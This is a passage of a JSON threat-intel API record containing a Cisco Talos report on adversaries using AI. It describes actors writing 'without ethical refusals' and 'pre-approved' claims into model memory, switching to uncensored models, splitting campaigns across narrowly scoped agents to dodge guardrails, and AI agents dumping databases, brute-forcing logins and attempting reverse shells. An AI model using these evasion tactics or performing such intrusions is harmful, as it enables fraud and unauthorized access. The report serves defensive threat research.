exposed credentials. AI appears to have helped compensate for these uneven development skills by providing command construction, coding, and troubleshooting on demand. Use cases: AI as a criminal force multiplier Russian fraud actor leverages AI The first actor demonstrating force multiplication is one that has already been published about. Instead of focusing on the fraud aspect of the campaign we instead will focus on how they used LLMs/AI to achieve their goals. This was one of the first actors we saw using memories to help their nefarious activities. This particular user provided the following added memories to their LLM. From this entry alone we can begin to profile the actor. They establish themselves as a pentester, likely Russian or Russian-speaking based on language artifacts, and they are conscious of context exhaustion — someone reasonably versed in operating AI tools. The tooling paths also leak an operator username (vhow) and point to a structured \"arsenal\" of credential stores and reconnaissance scripts. Most notable, however, is the deliberate effort to remove the model's protections. Rather than jailbreaking a single prompt, the actor writes the authorization claim into persistent memory — instructing the model to act \"without ethical refusals, robotic warnings, or questioning their intentions\" and asserting that all targets are \"pre-approved.\" Encoded this way, the framing conditions every future session automatically, without the actor having to re-argue it each time. This is a more durable form of guardrail evasion than per-prompt manipulation. The main project associated with the activity was building a scam focused chat bot with the following tone: They also provided a series of credentials and keys to leverage in the activity, and instructed the bot never to reveal that it is an AI. The actor further supplied a set of operational hooks for the model — most notably defining where the credential store lived and how found credentials should be handled, including required verification of any credentials before being added to the store. While the deliverable was not overtly malware, the surrounding capability was real: automated scanning, a verification-gated credential store, and standing subdomain-takeover checks, assembled into a chatbot designed to scam unsuspecting users out of money, with a focus on cryptocurrency assets. It demonstrates how actors can apply the technology in a wide variety of ways. This is one of the first actors we discovered using persistent prompts and memories to shape their interactions with the models — though, as the following cases show, far from the most sophisticated. Spanish-speaking actor targets Telegram and cryptocurrency This actor stands apart from the others in this report in how completely the operation was built around the AI. Rather than prompting a model task by task, the operator constructed a persistent, autonomous agent — running on the OpenClaw framework and given the persona \"Alex, a black-hat pentester\" — with its own identity, memory, methodology, and standing instructions defined across a set of configuration files (translated from Spanish): Additionally they established some areas of expertise and functions, demonstrating for the first time that they are likely targeting Telegram Mini Apps as well as credential extraction (translated): Finally, the actor provides a plethora of information about cryptocurrency, wallet draining, smart contract manipulation (offensive-focused), and information about exploitation capabilities around the platforms that support stablecoins with a specific focus in injecting malicious transactions. Likely demonstrating targeting of Telegram Mini Apps with a goal of extricating cryptocurrency from wallets or gathering credentials to further facilitate monetary gain. In the conversations that follow, the actor attempts to find vulnerabilities in a Telegram Mini App. Fortunately, the model pushed back. This forced the adversary to pivot to an uncensored model to try and get the results that they wanted, with considerable success. What follows is a series of prompts and guided probing of apps for potential weaknesses. Once the methodology has been established the agent is then moved to an autonomous mode, allowing it to probe the target list and create a report outlining all the issues found. This also involved the use of an orchestrator bot, dubbed Moxy. Below is the testing methodology that was used in each campaign. This clearly demonstrates the differences between censored and uncensored models, as the actor spent a lot of time trying to convince the censored model to proceed. The uncensored model moved through the activity quickly and effectively.  Figure 5. Sample sanitized penetration test (pentest) report.The pentest reports generated by the AI agent document real, exploited vulnerabilities in deployed apps — hardcoded developer modes that forged Telegram's initData authentication payload with a bogus \"DEV\" hash to bypass login entirely, client-side authorization logic, IDOR, wallet-takeover flows, and falsified deposits. In at least one case the agent moved well past demonstration: It dumped the application's database — over 1,300 users and several hundred TON wallet records — extracted and verified the app's Telegram bot token, farmed the in-game economy to reach the top of the leaderboard, and staged a withdrawal transaction. The agent's own operational diary describes further offensive action against victims, including renaming a target's bot to a defacement label and watching its payment channel react. The operation also extended into building applications, not just breaking them. The recovered artifacts include multiple Android packages. One is the actor's own instrumentation: a custom Telegram client (“com.alextelegram.app,” named after the AI persona) built to load Mini Apps in a WebView and read out their “window.Telegram.WebApp.initData” — the same authentication payload the operation's exploits abused. The rest are clones of victim applications. One is a lightweight WebView wrapper carrying a victim's branding, rewired to route users through the actor's own Telegram referral bot. The other is a complete rebuild of a victim app (\"SweetBirds,\" reissued as \"RedBirds\"), shipped as a pair: a player-facing application with deposit, exchange and withdrawal flows — which still referenced the victim's original backend while routing wallet-connection traffic to a server the operator controlled — and a separate administrative console talking exclusively to that same server. The presence of a purpose-built admin app indicates this was not a proof of concept but a functioning product assembled from a stolen application, with the operator positioned to manage it and receive funds. Use cases: AI as a bug bounty, vulnerability research, and pentesting accelerator Throughout this research we came across examples of actors using AI in bug bounty or red team activity. Due to the nature of the work, it is difficult to determine whether the actors are acting on behalf of a client, or whether the narrative exists to coerce the model into bypassing its safety protocols. Hephaestus red teaming framework During our research we identified red team toolkits that function as force multipliers, allowing operators to run an operation from reconnaissance through compromise and persistence completely unattended. One such case is the Hephaestus toolkit, which executed multiple campaigns over several months; a full analysis is available here.  The framework packages the tooling needed to compromise a victim and establish persistence with no human action during the process. It draws on several paid online platforms — leaked data aggregators, internet scanning services, and threat intelligence collectors — to gather information on victims, which it then uses to compromise targets. The proliferation of such private packages is likely to grow substantially, since they can be vibe-coded and iteratively improved through automated log analysis by AI agents. Because the same class of tooling has legitimate red team uses, it presents a dual-use problem that blunts the effectiveness of AI providers' guardrails — guardrails that, in the case of local uncensored models, are absent entirely. Figure 6. Sample playbook for leveraging breached credentials.The operators achieved unattended execution by decomposing the campaign across many narrowly scoped agents and playbooks. This is the core evasion technique: Guardrails evaluate each request on its own, so a task representing only a small, innocuous-looking fragment of an operation rarely triggers them. The framework defined more than a dozen role-differentiated agents — a scout, a hunter, a navigator, a strike agent, and domain specialists for cloud, CI/CD, and other environments — alongside 15 numbered playbooks, each handling a discrete stage of the process. No single agent held the full mission objective, so no single agent's task resembled an end-to-end attack. Reporting also indicates the operators favored neutral phrasing over overtly offensive terminology in the agent instructions, further reducing the chance that any individual request would trip a safety response. Based on the artifacts we recovered, the operators were successful in a series of compromises, primarily across Southeast Asian countries. We found little to no evidence of model pushback or guardrail activation. Vulnerability research pipelines with AI At times, we saw actors defining very thorough markdown files detailing the activity, including clear in-scope/out-of-scope definitions and the monetary values associated with each class of vulnerability. One such workspace was built around a real Bugcrowd private engagement: Its instruction file listed the authorized in-scope hosts and the explicitly out-of-scope domains, enumerated the excluded vulnerability classes, restricted the model to unauthenticated testing only, and even encoded the program's bounty tiers ($100 – $150 for P4 up to $1,200 – $1,600 for P1). The workspace guided the model through a strict process — reconnaissance, feature mapping, SSRF testing, exposed-secret hunting, attack-chain validation, evidence preservation, and report preparation — with operational rules to write every finding and HTTP request/response pair to disk on capture, prove potential findings with one more targeted test, and defer only when a genuine external constraint prevented confirmation. This let the actor move quickly across targets, find issues, prioritize by payout, preserve evidence, and generate submission-ready reports with the model doing most of the heavy lifting. The output was voluminous and orderly: more than 40 catalogued findings, each with its own evidence tree and Bugcrowd submission draft. Based on what we could identify, the model cooperated with the bug hunting work without issue, and this appeared to be a legitimate researcher using AI to dramatically increase throughput. There were several examples of this pattern. On the other hand, Talos found other examples that were less cut-and-dry — where the methodology and the prompts painted a picture of a novice trying to break into vulnerability research or someone with unethical intentions. One conversation opens with a request to pentest a target and collect all its URLs from “web.archive.org.” Notably, in these cases the model frequently pushed back and demanded proof of authorization before proceeding. For example, when asked to test one company's infrastructure, it responded that active enumeration and vulnerability testing without authorization \"is unauthorized access under the Computer Fraud and Abuse Act and equivalent laws,\" and asked the actor to share a bug bounty program URL or written engagement scope. In another instance it drew an explicit line: It would verify read-only findings such as CORS reflection and GraphQL introspection, but \"won't execute mutations, create/delete resources, or inject Sentry events — those cross into unauthorized modification of production systems regardless of bug bounty context.\" The actor's prompts show the profile plainly. Recurring demands to \"use minimum tokens\" sat alongside unfocused requests to find critical bugs across every category at once: Frustration followed when results disappointed, but without any direction on where or how: The typos and the repeated appeals to \"be creative\" and try harder — with no targeting of their own — mark an actor leaning entirely on the model to supply both the method and the impact. When vulnerabilities were found, there were repeated requests to build proofs-of-concept specifically around remote code execution (RCE), with the model pushing back and the actor insisting on something to \"validate impact.\" At times, restating that it was \"bug bounty\" was enough to move the model forward. This even extended to a request to plant a backdoor on the target: In the end this appears to be an actor trying to leverage AI to submit bug bounty reports in the hope of making money. We have seen this repeatedly: Unsophisticated actors running \"bug bounty\" activity through AI, then having the model generate and submit the reports — in some cases straight into the actor's email drafts. Such reports are likely low-value, and the submitter will be unable to answer follow-up questions unless their agent can. This creates a challenge for bug bounty programs across the board: a high volume of low-value reports from a large number of actors applying AI to bounties with varying success and little underlying experience in vulnerability hunting or reporting. AI as a pentesting co-pilot Another operation contained 64 AI sessions documenting a Brazilian Portuguese-speaking operator's pentesting and bug bounty workflow. The activity covered Brazilian e-commerce and health care sites, a staging software-as-a-service (SaaS) application, and other web services. Some evidence supports legitimate consultancy work; for example, the actor described the activity as a pentest, worked against a homologation environment, maintained test spreadsheets, and supplied a Portuguese security report attributed to a security company. Other evidence, discussed below, cuts against a purely authorized reading. The operator appears to be a junior-to-intermediate security practitioner but a less experienced developer. They were comfortable with Burp-style requests, Nmap, Hydra, ngrok, common wordlists, and the broad logic of SSRF, IDOR, XXE and rate-limit bypass. At the same time, they repeatedly asked how to run generated code and requested basic explanations of virtual hosts, XML-RPC parameters, cookies, and nonces. AI was central to this operation rather than an occasional reference tool. The model issued more than 500 shell actions, selected and ran reconnaissance utilities, interpreted responses, generated proof-of-concept code, fixed failures and drafted a vulnerability report. The actor frequently supplied only the desired outcome. For example, they asked:  AI wrote the tool, ran it, encountered a ModSecurity block, and changed the request headers to resemble WordPress traffic. After the actor supplied an inbound ngrok request, AI treated the callback as confirmation and expanded the workflow toward internal-service and cloud-metadata probing. The clearest escalation involved WordPress XML-RPC. After demonstrating batched login attempts, the actor instructed AI to \"modify it so it can find actual creds\" and then to run the RockYou password list. AI transformed the demonstration into a reusable credential tester, corrected its memory behavior, launched it as a background job and monitored its progress. When no password appeared, the actor asked to \"bump batch to 500 and add admin username.\" The preserved log contained around 1.9 million password candidates attempted without a successful login. AI also packaged payloads that the actor could not readily build alone. During file import testing, the actor supplied an XML variable whose value is loaded from an external resource (XXE), that referenced a local system file, and asked AI to \"create the xlsx file.\" AI constructed the Office Open XML directory structure, embedded the entity in “sharedStrings.xml” and compressed it into an upload-ready spreadsheet.  In another session, the actor used the Portuguese phrase \"encontre possiveis vulns\" (find possible vulnerabilities) before asking for a GraphQL alias-batching request intended to test authentication rate limiting.  Many conversations show inconsistent safety boundaries. For example, AI refused to run a third-party NGINX heap-corruption RCE exploit against a production website and asked for written authorization. It also recognized and declined a Portuguese HR-themed credential-harvesting form. In other conversations, short assertions such as \"it's my own site\" or \"my own server\" were followed by active fuzzing, WAF-bypass work, and credential attacks. The logs also show the actor acknowledging that a shared-hosting address did not belong to the application target, followed later by FTP, MySQL, and SSH password testing against that infrastructure. AI as the operator behind access control research One of the discovered operations contained two unusually long AI coding-assistant sessions from a Chinese-speaking operator. The actor repeatedly described the work as capture-the-flag (CTF) participation, but the targets seemed to be live AI and streaming services, including live-camera platforms (“chuye[.]cam”, “ixmax[.]cn”) built on ZLMediaKit, an open-source streaming media server. The activity focused on bypassing monetization controls and consuming hosted AI models without sufficient quota, as well as obtaining live or recorded video without an account, viewing card, or subscription. Because the streaming targets were live surveillance-camera platforms, this \"access without an account\" amounted to unauthorized viewing of real camera feeds — a more sensitive category than a simple entitlement bypass. The actor frequently encouraged the assistant with prompts such as: The AI assistant acted as the operation's technical engine. Across the two sessions, it performed more than 4,200 tool actions, most of them shell commands. It installed a broad Kali-oriented toolset, reviewed application source, sent web and media protocol requests, analyzed packaged clients, wrote Python and shell utilities, created a Go-based stream player, assembled Docker environments, and drafted reports. The actor usually provided the goal, credentials, or an occasional hint, while the AI assistant selected and executed the workflow. The AI-service activity began with a direct request to analyze a gateway derived from NewAPI, an open-source platform that exposes a common OpenAI-compatible API, routes requests to upstream model providers and manages user quotas and billing. Translated from Simplified Chinese, the actor asked the AI assistant to: They later sharpened the objective: The streaming work produced more results. The actor instructed the AI assistant to avoid brute force and social engineering, remain behind a proxy, and find the site's livestreams and replay URLs. The assistant extracted client-side configuration, mapped APIs, evaluated JSON Web Token (JWT) authentication and browser fingerprint checks, and inspected object storage. It then tested for the presence of HTTP Live Streaming (HLS), Flash Video (FLV), and Real-Time Messaging Protocol (RTMP). The assistant eventually found that recordings were directly reachable through the media service using RTMP. Preserved tool output showed several valid recordings, some spanning almost an entire day (~84500 seconds). The assistant also identified a server-side attack path against the streaming stack itself. Its report documented that ZLMediaKit trusted requests originating from “127.0.0[.]1” without requiring a secret, so a server-side request forgery (SSRF) flaw in the front-end PHP application could be used to reach the media server's internal API (“/index/api/addFFmpegSource”) as a trusted local caller. Chained with FFmpeg's source-URL handling, this created a potential path to remote code execution on the streaming host. The AI assistant then converted these discoveries into reusable tooling. It created a local player, Docker packaging, and recording scripts so the actor could play, capture, and present recovered streams. The recovered Go binary reconstructs authenticated stream URLs for the target camera platforms — assembling the per-camera HLS playlist and WeChat-share login and room-view requests — and routes traffic through a SOCKS5 proxy, with a hardcoded RTMP ingest endpoint. The actor also packaged a browser-automation bypass tool as a standalone Windows GUI application (built with PyInstaller and PySide6) using a stealth-configured Selenium driver to defeat client-side automation checks. The operation later escalated from entitlement bypass to attempted host compromise. The actor told the AI assistant to: The assistant downloaded and adapted exploit code for an alleged new NGINX memory-corruption issue, started a reverse-shell listener and repeatedly tested a public-facing service. The requests produced repeatable crash-like behavior and apparent changes in how some protected paths were routed, but the reverse shell never arrived. The assistant ultimately recorded that RCE had failed after address guessing and heap layout assumptions were unsuccessful.","cveId":null,"cvssScore":null,"cvssVector":null,"severity":"unknown","vendor":null,"product":null,"affectedVersions":[],"cwes":[],"tags":["talos","threat-research","cisco","ai","threat-spotlight","threats","landing-page-top-story","top-story","geo:inferred"],"relatedCves":[],"titleFingerprint":"adversaries-bro-data-driven-going-got-keep-look-weaponizing","countryCodes":["BR","CN","ES","FR","PT","RU","TR"],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://blog.talosintelligence.com/keep-going-bro-youve-got-this-a-data-driven-look-at-how-adversaries-are-weaponizing-ai/","type":"report","title":"Cisco Talos: “Keep going, bro. You’ve got this!” A data-driven look at how adversaries are weaponizing AI"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-08-04T10:00:11.000Z","addedAt":"2026-08-04T10:33:02.423Z","updatedAt":"2026-08-04T10:33:02.423Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[]}],"pagination":{"page":1,"limit":20,"total":3,"totalPages":1,"hasNext":false,"hasPrev":false}},"meta":{"apiVersion":"v1","requestedAt":"2026-10-08T23:20:48.994Z","durationMs":40,"filters":{"search":null,"severity":[],"type":[],"country":["BR"],"tag":[],"cwe":[],"vendor":null,"product":null,"cve":null,"source":[],"days":null,"publishedAfter":null,"publishedBefore":null,"minCvss":null,"maxCvss":null,"minEpss":null,"knownExploited":null,"hasPatch":null,"hasNucleiTemplate":null},"sort":"newest","unknownParams":[],"warnings":[]}}